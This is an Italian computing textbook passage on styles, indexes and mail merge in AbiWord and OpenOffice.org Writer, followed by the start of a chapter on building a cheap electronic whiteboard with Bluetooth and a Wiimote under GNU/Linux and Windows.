Come si vede, dal momento che il testo deve adeguarsi ai margini orizzontali, viene usato un allineamento simultaneo a sinistra e a destra, con l'introduzione automatica degli spazi necessari tra le parole. Evidentemente, la parola '**`chiede`**' viene centrata e resa con un carattere più scuro, mentre il nome in calce della scrivente, appare allineato a destra.

Per accertare la correttezza dell'impaginazione, il documento va stampato mettendo nella

stampante la carta preparata in precedenza con il modello mostrato all'inizio del capitolo.

70.7.4 Esercizio

Si scriva il testo seguente, simulando la forma richiesta per la scrittura in carta legale. Il testo può scorrere anche in modo leggermente differente, purché la forma rimanga sostanzialmente la stessa. La stampa va fatta usando la carta predisposta con il modello presentato precedentemente. Si producano due versioni, una con carattere dattilografico, l'altra con un carattere a spaziatura proporzionale, sobrio, con un corpo un po' più grande.

```
Alla Provincia di Cuneo, settore provinciale
agricoltura, corso Dante 19, 12100 Cuneo
Il sottoscritto Tizio Tizi, nato a Cuneo il 01
gennaio 1980, residente in Cuneo, via tartufaia 11,
telefono 123456789
                    chiede
a codesto settore di ottenere il rinnovo del
tesserino di idoneità alla raccolta dei tartufi
numero 123456789, rilasciato il 01 gennaio 2010.
Cuneo, 01 gennaio 2011
                                      Tizio Tizi
```

Alla Provincia di Cuneo, settore provinciale agricoltura, corso Dante 19, 12100 Cuneo

Il sottoscritto Tizio Tizi, nato a Cuneo il 01 gennaio 1980, residente in Cuneo, via tartufaia 11, telefono 123456789

chiede

a codesto settore di ottenere il rinnovo del tesserino di idoneità alla raccolta dei tartufi numero 123456789, rilasciato il 01 gennaio 2010.

Cuneo, 01 gennaio 2011

Tizio Tizi

70.8 Stili e indici

Le caratteristiche legate al paragrafo, al testo, ma a volte anche ad altri componenti di un documento, possono essere uniformate attraverso la definizione di ***stili***. Ogni stile ha un nome e a questo vengono associate delle caratteristiche, a cui si vuole fare riferimento in modo complessivo. Quando un «oggetto» del documento viene associato a uno stile, le caratteristiche di quell'oggetto vengono conformate a tutte quelle dello stile relativo; quando poi le caratteristiche di un certo stile vengono modificate, tutti gli oggetti che vi sono associati ereditano simultaneamente questi cambiamenti.

Figura 70.90. Associazione di tre stili ad altrettanti componenti tipi di componenti del documento.

Figura 70.91. Modifica di uno stile e adattamento simultaneo di tutti i componenti che vi sono associati.

70.8.1 Competenze

Gli stili dei programmi di scrittura visuale sono associati a un certo contesto e generalmente si considerano almeno il paragrafo e il testo lineare. Uno stile riferito al paragrafo riguarda un paragrafo nel suo insieme e può definire anche le caratteristiche del carattere, ma di tutto il paragrafo; uno stile riferito al testo lineare riguarda una porzione di testo, come eccezione rispetto alle caratteristiche generali del paragrafo.

Figura 70.92. Stile del carattere applicato come eccezione dello stile complessivo del paragrafo.

stili
intestazione
corpo
nota
enfatizzato

Titolo bla bla bla

Bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla

Altro titolo bla bla

Bla bla bla bla ***bla bla bla bla bla bla***
bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla

Nota particolare bla bla bla
bla bla bla bla bla bla

Bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla

Se si applicano modifiche al paragrafo o al testo in modo diretto, senza l'uso di uno stile particolare, queste vengono considerate come un'eccezione ulteriore. In pratica si crea una sovrapposizione di definizioni, dove quanto rimane in superficie è ciò che conta per la composizione finale.

modifiche dirette
stile del testo
stile del paragrafo

A seconda del programma usato per la scrittura, l'attribuzione di uno stile può eliminare o conservare le modifiche dirette già apportate. Per esempio, l'attribuzione di uno stile riferito al testo potrebbe rimanere subordinato alla presenza di una modifica esplicita, già effettuata, su quella stessa porzione. Pertanto, **quando si intendono usare gli stili**, per evitare complicazioni, **è meglio evitare completamente la modifica diretta delle caratteristiche dei paragrafi e del testo, usando per questo esclusivamente gli stili**.

Il problema appena descritto riguarda particolarmente OpenOffice.org Writer, il quale però offre una funzione apposita per riportare il testo allo stato «normale», ovvero quello che prescriverebbe lo stile: `Formato`, `Formattazione standard`. Eventualmente si può ottenere anche con la combinazione di tasti [*Ctrl Maiuscole Spazio*].

Quando si devono sovrapporre stili riferiti al testo, rispetto a uno stile riferito al paragrafo, è sempre necessario applicare gli stili del testo dopo quello riferito al paragrafo, perché ci sono programmi che con l'attribuzione dello stile del paragrafo azzerano gli stili per il testo preesistenti. D'altro canto, per ottenere un buon risultato con il minimo impegno possibile, conviene limitare il più possibile l'uso di stili che modificano solo piccole porzioni di testo.

70.8.2 Stili predefiniti

I programmi di scrittura visuale che gestiscono gli stili, si presentano inizialmente con un insieme di stili predefinito, con nomi più o meno intuitivi. Generalmente è possibile attribuire lo stile selezionandolo da un menù che fa parte degli strumenti posti in evidenza.

Figura 70.94. AbiWord: Selezione di uno stile dal menù presente negli strumenti principali.

Figura 70.95. OpenOffice.org Writer: Selezione di uno stile dal menù presente negli strumenti principali.

Per ottenere un menù completo in una finestra separata, sempre disponibile, va richiamato lo «stilista». Nelle figure successive si vede Abiword e OpenOffice.org Writer, ognuno con il proprio stilista in evidenza.

Figura 70.96. AbiWord: `Strumenti`, `Stilista`. Per selezionare una voce dallo stilista, occorre un clic doppio con il primo tasto del mouse.

Figura 70.97. OpenOffice.org Writer: `Formato`, `Stilista`, ma si può utilizzare direttamente il tasto funzionale [*F11*], sia per far apparire lo stilista, sia per farlo scomparire. Per selezionare una voce dallo stilista, occorre un clic doppio con il primo tasto del mouse.

70.8.3 Modifica degli stili

Dalla breve descrizione fatta all'inizio del capitolo, si intende che l'utilità degli stili stia nella possibilità di modificarli e di far sì che tutti i componenti che vi sono associati ereditino immediatamente tali modifiche. A seconda del programma si accede alla modifica degli stili attraverso una voce del menù, oppure attraverso lo stilista stesso.

Figura 70.98. AbiWord: `Formato`, `Crea e modifica stili`.

Figura 70.99. AbiWord: `Formato`, `Crea e modifica stili`, `Modifica`

Figura 70.100. OpenOffice.org Writer: `Formato`, `Stilista`. Con il tasto destro del mouse si ottiene un menù contestuale, da dove si può procedere con la modifica di uno stile.

Figura 70.101. OpenOffice.org Writer: `Formato`, `Stilista`, `Modifica`. Si accede a una cartella di schede per la modifica dello stile.

70.8.4 Creazione di stili propri

Così come è concessa la modifica degli stili esistenti, è anche possibile aggiungerne degli altri. In generale ciò è utile quando non si comprende il significato originale di alcuni stili e non si trova una corrispondenza certa per ciò che si intende individuare. Per esempio si potrebbe volere uno stile per una nota evidenziata che non sembra avere uno stile predefinito appropriato, come si tenta invece di fare nelle figure successive.

Figura 70.102. AbiWord: `Formato`, `Crea e modifica stili`, `Nuovo`. Dopo l'indicazione del nome, si deve accedere al menù `Formato` per selezionare il contesto di caratteristiche da impostare.

Nome dello stile: Nota evidenziata
Tipo di stile: Paragrafo
Basato su: Nessuno
Stile per paragrafo successivo: Normal

Anteprima

Descrizione
widows:2; text-indent:0in; text-folded-id:0; text-folded:0; text-align:left; tabstops:; start-value:1; orphans:2; margin-top:0pt; margin-right:1in; margin-left:1in; margin-bottom:6pt; list-tag:0; list-delim:%L; list-decimal:.; line-height:1.0; keep-with-next:no; keep-together:no; format:%*%d.; dom-dir:ltr; default-tab-interval:0.5in; width:0in; text-position:normal; text-decoration:none; list-style:None; lang:it-IT; homogeneous:1; height:0in; font-weight:normal; font-variant:normal; font-style:normal; font-stretch:normal; font-size:12pt; font-family:Times New Roman; display:inline; color:000000; bgcolor:transparent

Rimuovi proprietà dallo stile | Rimuovi

Aiuto | Annulla | OK | Formato

Figura 70.103. OpenOffice.org Writer: `Formato`, `Stilista`. Con il tasto destro del mouse si ottiene un menù contestuale, da dove si può procedere con la creazione di uno stile nuovo.

Figura 70.104. OpenOffice.org Writer: `Formato`, `Stilista`, `Nuovo`. Qui, cominciando dalla scheda `Gestione`, si procede per la creazione dello stile nuovo.

Di norma, così come possono essere aggiunti degli stili personali, questi possono anche essere

rimossi. Inoltre, va osservato che gli stili seguono il documento, pertanto la modifica di uno stile nel documento ***x*** non interferisce con lo stato dello stesso stile nel documento ***y***.

70.8.5 Stili di uso comune

Purtroppo manca una definizione uniforme degli stili predefiniti che deve avere un programma di scrittura generalizzato. In ogni caso, l'utilizzatore deve sapere distinguere almeno quelli che riguardano i titoli dei contenuti, perché da quelli dipende la creazione di un indice. Lo specchietto successivo riepiloga i nomi degli stili minimi da utilizzare con Abiword e con OpenOffice.org Writer:

Contesto	Stile di Abiword	Stile di OpenOffice.org Writer
titolo più importante	`Heading 1` `Numbered Heading 1`	`Intestazione 1`
titolo di secondo livello	`Heading 2` `Numbered Heading 2`	`Intestazione 2`
titolo di terzo livello	`Heading 3` `Numbered Heading 3`	`Intestazione 3`
corpo normale	`Normal`	`Corpo testo` `Standard`

70.8.6 Indice generale

Se si utilizzano gli stili appropriati per i titoli delle varie sezioni del proprio documento, di norma è possibile ottenere un indice generale automatico. Per questo si deve posizionare il cursore del testo dove si vuole inserire l'indice, quindi si procede con i comandi necessari per generarlo.

Figura 70.106. AbiWord: `Inserisci`, `Indice`. Dal menù si ottiene istantaneamente l'indice, nella posizione in cui si trovava il cursore del testo. Successivamente si può passare alla configurazione dell'indice.

Figura 70.107. AbiWord: Formato, Indice. Avendo selezionato il testo dell'indice, dal menù si può richiedere la modifica delle sue caratteristiche, come si vede in questa figura.

Generale | Dettagli impaginazione

☑ Con intestazione

Testo dell'intestazione: Indice

Stile dell'intestazione: Contents Header [Cambia stile]

Proprietà principali

Livello 1

☑ Con etichetta

Stile di riempimento: Heading 1 [Cambia stile]

Stile di visualizzazione: Contents 1 [Cambia stile]

[Chiudi] [Applica]

Figura 70.108. OpenOffice.org Writer: Inserisci, Indici, Indici.

Indice | Voci | Modelli | Colonne | Sfondo

Tipo e titolo

Titolo: Indice generale

Tipo: Indice generale

☑ Protetto contro modifiche manuali

Crea indice

Per: Intero documento — Valuta fino a livello 10

Crea da

☑ Struttura ...

☐ Altri modelli ...

☑ Contrassegni indice

[OK] [Annulla] [?] [Ripristina]

☐ Mostra anteprima

Figura 70.109. OpenOffice.org Writer: menù contestuale che si ottiene premendo il tasto destro del mouse sulle componenti dell'indice. Va osservata in particolare la voce che richiede l'aggiornamento automatico dell'elenco.

70.9 Stampa in serie o «stampa unione»

Per ***stampa in serie*** si intende l'associazione di un elenco di dati a un documento contenente delle variabili, in modo da produrre la riproduzione dello stesso documento per ogni voce dell'elenco, dove le variabili vengono sostituite con i campi corrispondenti dell'elenco. Il concetto è quello che si può vedere nell'esempio seguente, dove da un elenco di due nominativi e un modello di lettera, si vogliono ottenere due lettere personalizzate:

elenco

nome	cognome
Tizio	Tizi
Caio	Cai

X

modello di lettera

Gentile <nome> <cognome>

siamo lieti di informarla che...

bla bla bla bla...

=

Gentile Tizio Tizi

siamo lieti di informarla che...

bla bla bla bla...

Gentile Caio Cai

siamo lieti di informarla che...

bla bla bla bla...

Generalmente, questi elenchi di dati possono essere redatti in vari modi, soprattutto con l'ausilio di un foglio elettronico o di una base di dati. Nel caso di OpenOffice.org Writer, si richiede precisamente l'uso di una base di dati secondo il proprio formato, ma in questo capitolo viene mostrato il procedimento per ottenere l'acquisizione di un elenco contenuto in un foglio elettronico, attraverso un esempio completo.

70.9.1 Preparazione di un elenco di indirizzi

A titolo di esempio, si parte da un file realizzato con OpenOffice.org Calc (il foglio elettronico di OpenOffice.org), contenente gli indirizzi, secondo lo schema seguente. Si può osservare che il nome dell'intestazione per la colonna contenente la città è stato scritto senza accento, per evitare complicazioni, ma il contenuto delle righe successive all'intestazione viene scritto regolarmente, usando le lettere accentate dove necessario.

	A	B	C	D	E
1	**nome**	**cognome**	**indirizzo**	**cap**	**citta**
2	Tizio	Tizi	via del semiconduttore, 1	31100	Treviso
3	Caio	Cai	via dell'integrato, 23	31050	Ponzano Veneto
4	Mevio	Mevi	via della CPU, 45	31050	Ponzano Veneto

Si suppone di salvare questo file con il nome '`indirizzi.ods`', nella propria directory personale.

70.9.2 Acquisizione degli indirizzi

Attraverso OpenOffice.org Writer si acquisisce il file preparato con il foglio elettronico, in modo che diventi parte delle «sorgenti di dati». Questo procedimento implica la conversione automatica del file '`indirizzi.ods`' in una base di dati, rappresentata da un file con estensione '`.odb`'.

Si procede selezionando dal menù: *Inserisci*, *Comando di campo*, *Altro*. Si ottiene una finestra contenente delle cartelle, dove si deve selezionare la scheda *Database* e nell'elenco del tipo va scelta la voce *Campi per stampa in serie*.

Figura 70.112. OpenOffice.org Writer: *Inserisci*, *Comando di campo*, *Altro*, *Database*.

Documento | Riferimenti incrociati | Funzioni | Info documento | Variabili | Database
Tipo di campo
Campi per stampa in serie
Nome database
Numero record dati
Qualsiasi record di dati
Record dati successivo
Scelta database
Condizione
Aggiungi file di database
Sfoglia...
Formato
Dal database
Personalizzato
Standard
Numero di record
Inserisci
Chiudi
?

Selezionando il pulsante `Sfoglia` si accede a una finestra da cui è possibile selezionare il file contenente gli indirizzi (‘`indirizzi.ods`’); fatto questo, il file viene trasformato automaticamente in una base di dati (costituita probabilmente dal file ‘`indirizzi0.odb`’) e segnalato, come si vede nella figura successiva.

Figura 70.113. OpenOffice.org Writer: `Inserisci`, `Comando di campo`, `Altro`, `Database`, dopo la selezione di un file.

A questo punto si può mantenere aperta la finestra contenente l’elenco dei campi per la stampa in serie, mentre si procede a scrivere il testo della lettera.

70.9.3 Inserimento dei campi

Durante la scrittura della lettera, quando ciò è appropriato, si possono inserire i campi provenienti dall’elenco di indirizzi, mettendo in evidenza il nome del campo nella finestra che li contiene e selezionando il pulsante grafico `Inserisci`.

Figura 70.114. OpenOffice.org Writer: inserimento dei campi nel testo di una lettera.

Nel testo del documento, i campi variabili appaiono evidenziati e portandovi sopra il puntatore del mouse si vede precisamente la loro origine. Terminata la selezione dei campi, la finestra contenente l'elenco dei campi per la stampa in serie può essere chiusa.

70.9.4 Visualizzazione dei dati

Una volta terminata la selezione dei campi e chiusa la finestra contenente l'elenco dei campi per la stampa in serie, conviene mettere in evidenza i dati collegati al proprio documento. Per questo si seleziona dal menù la voce `Visualizza`, `Sorgente dati`.

Figura 70.115. OpenOffice.org Writer: `Visualizza`, `Sorgente dati`.

Avendo verificato che i dati a cui fa riferimento il proprio documento sono quelli corretti, si può passare alla stampa in serie.

70.9.5 Stampa in serie

Attraverso le figure successive, viene mostrato il procedimento per arrivare alla stampa in serie del documento, in modo da ottenere una copia, adattata, per ogni voce dell'elenco di indirizzi. Si inizia selezionando la voce `Strumenti`, `Stampa guidata in serie`. Se la stampa riguarda il documento attivo e l'elenco di voci associate, nella maggior parte dei casi è sufficiente confermare e passare alle fasi successive.

Figura 70.116. OpenOffice.org Writer: `Strumenti`, `Stampa guidata in serie`, prima fase.

Passi

1. Selezionate il documento iniziale
2. Selezionate il tipo di documento
3. Inserite il blocco indirizzi
4. Create una formula di saluto
5. Adattate il layout
6. Modifica documento
7. Personalizzate il documento
8. Salvate, stampate o inviate il documento

Selezionate il documento iniziale per la stampa in serie

Selezionate il documento su cui basare la stampa in serie

- Usa il documento attivo
- Crea un nuovo documento
- Inizia dal documento esistente — Sfoglia...
- Inizia da un modello — Sfoglia...
- Inizia da un documento salvato recentemente

? | <<Indietro | Avanti >> | Fine | Annulla

Figura 70.117. OpenOffice.org Writer: `Strumenti`, `Stampa guidata in serie`, seconda fase.

Passi

1. Selezionate il documento iniziale
2. Selezionate il tipo di documento
3. Inserite il blocco indirizzi
4. Create una formula di saluto
5. Adattate il layout
6. Modifica documento
7. Personalizzate il documento
8. Salvate, stampate o inviate il documento

Selezionate un tipo di documento

Che tipo di documento volete creare?

- Lettera
- Messaggio di eMail

Lettera:

Invia le lettere a un gruppo di destinatari. Le lettere possono contenere un blocco di indirizzi e una formula di saluto. Le lettere possono essere personalizzate per ogni destinatario.

? | <<Indietro | Avanti >> | Fine | Annulla

Figura 70.118. OpenOffice.org Writer: `Strumenti`, `Stampa guidata in serie`, terza fase.

Passi

1 Selezionate il documento iniziale

2 Selezionate il tipo di documento

3 Inserite il blocco indirizzi

4 Create una formula di saluto

5 Adattate il layout

6 Modifica documento

7 Personalizzate il documentc

8 Salvate, stampate o inviate il documento

Inserite il blocco indirizzi

1. Selezionate l'elenco di indirizzi contenente i dati da utilizzare. Questi dati sono necessari per la creazione del blocco di indirizzi.

Seleziona un altro elenco di indirizzi...

Elenco di indirizzi attuale: indirizzi

2. Questo documento conterrà un blocco di indirizzi

<Titolo>
<Nome> <Cognome>
<Indirizzo, riga 1>
<C.A.P.> <Città>

<Titolo>
<Nome> <Cognome>
<Indirizzo, riga 1>
<C.A.P.> <Città>
<Paese>

Extra...

Elimina righe che contengono solo campi vuoti

3. Abbinate il nome del campo usato per la stampa in serie con le intestazioni di colonna nella vostra sorgente dati.

Combina campi...

4. Controllate che i dati degli indirizzi siano corretti.

< non ancora assegnato>
Tizio Tizi
< non ancora assegnato>
< non ancora assegnato> < non ancora assegnato>

Documento: 1

? | <<Indietro | Avanti >> | Fine | Annulla

Figura 70.119. OpenOffice.org Writer: `Strumenti`, `Stampa guidata in serie`, quarta fase.

Passi

1 Selezionate il documento iniziale

2 Selezionate il tipo di documento

3 Inserite il blocco indirizzi

4 Create una formula di saluto

5 Adattate il layout

6 Modifica documento

7 Personalizzate il documentc

8 Salvate, stampate o inviate il documento

Crea una formula di saluto

Questo documento dovrebbe contenere una formula di saluto

Inserisci formula di saluto personalizzata

Femminile: Gentile Signora <Cognome>, — Nuovo...

Maschile: Gentile Signor <Cognome>, — Nuovo...

Campo dell'elenco di indirizzi indicante un destinatario di sesso femminile

Nome di campo

Valore del campo

Formula di saluto generale

Alle persone interessate,

Anteprima

Gentile Signora Tizi,
Gentile Signor Tizi,

Combina campi...

Documento: 1

? | <<Indietro | Avanti >> | Fine | Annulla

Non avendo fatto cambiamenti, la quinta fase viene saltata, perché risulta superflua.

Figura 70.120. OpenOffice.org Writer: `Strumenti`, `Stampa guidata in serie`, sesta fase.

Passi
1 Selezionate il documento iniziale
2 Selezionate il tipo di documento
3 Inserite il blocco indirizzi
4 Create una formula di saluto
5 Adattate il layout
6 Modifica documento
7 Personalizzate il documento
8 Salvate, stampate o inviate il documento

Visualizza un'anteprima e permette di modificare il documento
Ora è visibile l'anteprima di un documento combinato. Per visualizzare l'anteprima di un altro documento, fate clic su una delle frecce.
Destinatario |< < 1 > >|
Escludi questo destinatario
Modifica documento
Potete scrivere o modificare il contenuto del vostro documento. Le modifiche avranno effetto su tutti i documenti combinati.
Facendo clic su 'Modifica documento...', la finestra della procedura guidata verrà ridotta temporaneamente per consentire la modifica del documento. Terminate le modifiche, potete tornare alla procedura guidata facendo clic su 'Torna alla Stampa guidata in serie' nella finestra ridotta.
Modifica documento...
? <<Indietro Avanti >> Fine Annulla

Nel passaggio dalla sesta alla settima fase, viene prodotto un documento temporaneo, composto dalla ripetizione del documento originale, sostituendo ogni volta i campi variabili con i dati relativi dell'elenco di indirizzi.

Figura 70.121. OpenOffice.org Writer: `Strumenti`, `Stampa guidata in serie`, settima fase.

Passi
1 Selezionate il documento iniziale
2 Selezionate il tipo di documento
3 Inserite il blocco indirizzi
4 Create una formula di saluto
5 Adattate il layout
6 Modifica documento
7 Personalizzate il documento
8 Salvate, stampate o inviate il documento

Personalizzate i documenti per la stampa in serie
Potete personalizzare determinati documenti. Facendo clic su 'Modifica singolo documento...' potete ridurre temporaneamente la finestra della procedura guidata per modificare il documento. Terminate le modifiche, potete tornare alla procedura guidata facendo clic su 'Torna alla Stampa guidata in serie' nella finestra ridotta.
Modifica singolo documento...
Cerca
Cerca: Cerca...
Solo parole intere
Indietro
Ricerca esatta
? <<Indietro Avanti >> Fine Annulla

Nell'ultima fase va specificato cosa si vuole fare con il documento composto ottenuto nel passaggio precedente. In questo caso si seleziona la stampa, ma potrebbe anche essere salvato.

Figura 70.122. OpenOffice.org Writer: `Strumenti`, `Stampa guidata in serie`, ottava fase.

Passi

1. Selezionate il documento iniziale
2. Selezionate il tipo di documento
3. Inserite il blocco indirizzi
4. Create una formula di saluto
5. Adattate il layout
6. Modifica documento
7. Personalizzate il documento
8. Salvate, stampate o inviate il documento

Salvate, stampate o inviate il documento

Selezionate una delle seguenti opzioni:

Salva il documento iniziale
Salva il documento composto
Stampa il documento composto
Invia il documento composto come eMail

Impostazioni di stampa

Stampante Generic Printer Proprietà...

Stampa tutti i documenti
Da 1 A 3

Stampa documenti

? <<Indietro Avanti >> Fine Annulla

In ogni caso, dopo la stampa, il documento composto rimane aperto e si può disporre di questo come si vuole.

70.9.6 Associazione di un elenco alternativo

Il file contenente il documento, contiene delle «variabili» associate a campi di una tabella di una base di dati. Nel caso dell'esempio descritto nelle sezioni precedenti, la variabile del nome dovrebbe risultare associata a '**`indirizzi.Tabella1.nome`**', mentre quella del cognome a '**`indirizzi.Tabella1.cognome`**'. Quando si riapre un documento con queste variabili, occorre ripristinare il collegamento con i dati a cui si riferiscono, altrimenti la stampa in serie non può avere luogo. D'altra parte, va anche considerata la possibilità di associare a un certo documento un elenco differente di voci, pur mantenendo la corrispondenza nei nomi dei campi.

Dal riquadro che si ottiene con la visualizzazione della sorgente dei dati (`Visualizza`, `Sorgente dati`), dove dovrebbe apparire l'elenco di tali basi di dati, premendo il tasto destro del mouse si ottiene un menù contestuale, dal quale è possibile eliminare o selezionare i file di proprio interesse. Va osservato che questo elenco viene aggiornato automaticamente se si acquisiscono dati attraverso la procedura `Inserisci`, `Comando di campo`, `Altro`, `Database`,... A ogni modo, attraverso la voce `Database registrati` del menù contestuale che si vede anche nella figura successiva, conviene fare pulizia delle basi di dati a cui non si è interessati.

Figura 70.123. OpenOffice.org Writer: `Visualizza`, `Sorgente dati`. Premendo con il tasto destro del mouse si ottiene un menù contestuale per modificare l'elenco delle basi di dati.

Si suppone di acquisire in qualche modo la base di dati '**`indirizzi2`**', compatibile con il documento realizzato in precedenza, ma con un nome differente.

Figura 70.124. OpenOffice.org Writer: `Visualizza`, `Sorgente dati`. La base di dati '**`indirizzi2`**' ha un nome incompatibile con le variabili già inserite nel documento.

Si passa quindi alla modifica del nome, attraverso la voce `Database registrati`, come si

vede nella figura successiva. Quando il nome della base di dati che appare nel riquadro della sorgente dati corrisponde a quello annotato nelle variabili del documento, si può procedere come già descritto per la stampa in serie.

Figura 70.125. OpenOffice.org Writer: modifica del nome della base di dati.

[1] **Gucharmap** GNU GPL

Capitolo 71

Lavagna elettronica

71.1 Bluetooth con i sistemi GNU/Linux 4071

71.2 Bluetooth con i sistemi MS-Windows 4072

71.2.1 Problemi con il PIN 4074

71.3 Wiimote 4075

71.4 Wminput 4075

71.5 Wmgui 4076

71.6 Penna a infrarossi 4077

71.7 Inquadratura dello schermo 4078

71.8 Gtkwhiteboard 4080

71.9 WiimoteWhiteboard 4083

71.10 Uniboard (non libero) 4084

71.11 Riferimenti 4086

Per «lavagna elettronica», o «lavagna interattiva», si intende generalmente una superficie sulla quale si proietta la schermata di un elaboratore, dove è però possibile interagire con l'elaboratore stesso, attraverso il tatto (in quanto la superficie è sensibile) o degli strumenti appositi. In questo capitolo si considerano le soluzioni economiche per la realizzazione di una tale tipo di lavagna, senza bisogno di superfici sensibili (e costose).

Dal momento che questo tipo di strumento è destinato prevalentemente all'uso nella scuola, dato che in tale ambiente ci si trova spesso nell'impossibilità pratica di poter scegliere il sistema operativo, in questo capitolo si mostra sia il software adatto per sistemi GNU/Linux, sia quello per MS-Windows.

71.1 Bluetooth con i sistemi GNU/Linux

Gli strumenti che si usano generalmente per rendere interattiva una superficie di proiezione, senza l'ausilio di grandi risorse economiche, si connettono di norma via radio attraverso la tecnologia Bluetooth. Ciò richiede l'utilizzo di un adattatore Bluetooth nell'elaboratore, il quale può essere incorporato o connesso su una porta USB.

Figura 71.1. Adattatori Bluetooth USB: a sinistra un modello Trust 16008; a destra un Sitecom CN-523.

In un sistema GNU/Linux, la gestione dei dispositivi Bluetooth avviene attraverso funzioni del kernel, di solito in forma di moduli, che di norma vengono caricati automaticamente nel momento in cui i dispositivi risultano disponibili. Chi compila il kernel Linux in proprio, deve sapere che queste funzionalità risiedono nella voce *Network support*, *Bluetooth subsystem support*. La gestione dei protocolli dei dispositivi Bluetooth è invece compito di Bluez (⟨http://www.bluez.org⟩). Naturalmente, in un sistema GNU/Linux che prevede una gestione ordinata dei pacchetti applicativi e delle dipendenze, quando si installa del software che si avvale della connettività Bluetooth, si è naturalmente condotti a installare anche Bluez.

Del software che compone Bluez è importante conoscere almeno l'uso elementare di '**hcitool**', con il quale è possibile verificare il corretto riconoscimento di un adattatore Bluetooth e l'esistenza di una connessione in atto. Il comando seguente elenca i dispositivi Bluetooth:

$ **hcitool dev** [*Invio*]

```
Devices:
        hci0    00:02:72:AA:16:64
```

In questo caso si vede la presenza di un adattatore, a cui viene attribuito il nome '**hci0**', con l'indirizzo che si vede nell'esempio. Il comando seguente, invece, elenca i dispositivi remoti, alla portata del proprio adattatore:

```
Scanning ...
        00:21:FC:7E:48:E3       Clementina
        00:17:E6:7E:48:9D       Tino
        00:1D:F6:C8:15:05       SGH-E390
        8C:56:C5:D9:69:D3       Nintendo RVL-CNT-01
```

Con il comando seguente, si vedono le connessioni in corso, tra l'adattatore locale ed eventuali unità remote:

```
Connections:
        < ACL 8C:56:C5:D9:69:D3 handle 11 state 1 lm MASTER
```

Come si vede, la connessione riguarda il dispositivo remoto Nintendo, già apparso nell'elenco di quelli presenti.

71.2 Bluetooth con i sistemi MS-Windows

La gestione delle connessioni Bluetooth nei sistemi MS-Windows avviene tramite del software che accompagna generalmente l'adattatore hardware acquistato. Generalmente, già nella fase di installazione di questo software, viene proposto di scandire le unità che possono collegarsi via radio, secondo il protocollo Bluetooth, cosa che generalmente conviene assecondare. Nelle figure successive si vede la preparazione del software che accompagna un adattatore Sitecom CN-523.

Figura 71.5. In questa fase, si richiede di attivare i dispositivi remoti, in modo tale che questi si annuncino. Nel caso del Wiimote, si tratta di premere contemporaneamente i bottoni [1] e [2].

Figura 71.6. Qui viene individuato un dispositivo Wiimote, corrispondente alla sigla RVL-CNT-01. Questo dispositivo non richiede un codice PIN.

Figura 71.7. In questa fase può essere necessario intervenire nuovamente sul dispositivo remoto, benché già individuato, per fare sì che questo si annunci (con il Wiimote si tratta di premere contemporaneamente i bottoni [1] e [2]).

Figura 71.8. Conclusione della registrazione del dispositivo remoto.

I dispositivi Bluetooth remoti, quando servono, vanno connessi e staccati espressamente (salva comunque la possibilità di spegnere tali dispositivi, interagendo con gli stessi). Pertanto, prima di poter usare uno strumento come il Wiimote, attraverso il software più appropriato, occorre comunque procedere alla sua connessione, ricordando poi di chiuderla alla fine dell'utilizzo. Nelle figure successive si vede la connessione di un Wiimote e la conclusione di questa attraverso il software dell'adattatore Sitecom CN-523.

Figura 71.9. Attivazione e conclusione di una connessione con il Wiimote.

71.2.1 Problemi con il PIN

Purtroppo, non tutti i software MS-Windows di gestione degli adattatori Bluetooth sono in grado di connettersi al Wiimote. Il problema può nascere dal fatto che il Wiimote non richiede l'uso di un codice PIN, mentre alcuni software pretendono che ci sia sempre. Ciò succede, per esempio, con il software allegato all'adattatore Trust 16008 che appare nella figura di esempio all'inizio del capitolo. Tuttavia, di norma tali adattatori funzionano perfettamente in un sistema GNU/Linux, dato che in quel caso non c'è bisogno di software esterni per la loro gestione, essendo questo un compito svolto interamente dal kernel.

71.3 Wiimote

Il nome Wiimote si riferisce al telecomando Wii, della Nintendo, il quale incorpora dei sensori gravitazionali (accelerometri) e una telecamera a raggi infrarossi. Si tratta di un telecomando in quanto si collega a un elaboratore o a un'altra apparecchiatura, via radio, usando la tecnologia Bluetooth.

La telecamera a infrarossi è a fuoco fisso, con una risoluzione di 1024×768.

Quando si vuole instaurare il collegamento Bluetooth con l'elaboratore, occorre far riconoscere il dispositivo. Per questo, appena il software è pronto per questa fase, si richiede la pressione simultanea dei pulsanti [1] e [2], sul dispositivo Wiimote. In quel momento, mentre il Wiimote tenta di farsi individuare, lampeggiano quattro led sul dispositivo stesso. Se il Wiimote viene installato stabilmente, in una sua collocazione fissa, e viene alimentato dalla rete (con un alimentatore adatto), questi due pulsanti possono essere bloccati in modo da risultare sempre premuti; così, all'accensione il Wiimote si mette in cerca di una connessione, continuando fino a che questa si verifica effettivamente.

Figura 71.10. Telecomando Wii.

sotto: grilletto, corrispondente al pulsante «B»

bottoni da premere per instaurare la connessione Bluetooth

Wii

2

1

HOME

A

POWER

LED

telecamera frontale a infrarossi, 1024x768

71.4 Wminput

In un sistema GNU/Linux, il programma Wminput[1] consente di abbinare delle funzioni al telecomando Wii. Nella sua configurazione predefinita, dovrebbe essere in grado di controllare le funzioni del mouse, tenendo in mano il Wiimote, muovendolo in alto, in basso e ruotandolo, facendo clic con il bottone [A] e [B] (il grilletto).

Per poter usare il programma Wminput, è necessario che sia stato caricato il modulo del kernel '**`uinput`**'; inoltre, l'eseguibile '**`wminput`**' deve funzionare con i privilegi dell'utente '**`root`**'; pertanto, se si intende utilizzarlo, può convenire il fatto di associargli i permessi SUID-root

```
# modprobe uinput [Invio]
```

```
# chown root /usr/bin/wminput [Invio]
```

```
# chmod u+s /usr/bin/wminput [Invio]
```

Quando si avvia il programma eseguibile '**wminput**', questo chiede inizialmente di mettere il Wiimote nella modalità che ne consente il riconoscimento, premendo simultaneamente i bottoni 1 e 2. Se il collegamento Bluetooth avviene con successo, si può interagire con il telecomando Wii come se fosse un mouse. Tuttavia, va chiarito che si tratta di un uso abbastanza faticoso e, per questo, poco consigliabile.

Se si usa Wminput per controllare il Wiimote, al termine dell'utilizzo è necessario chiudere il collegamento premendo a lungo il bottone di spegnimento sul dispositivo Wii.

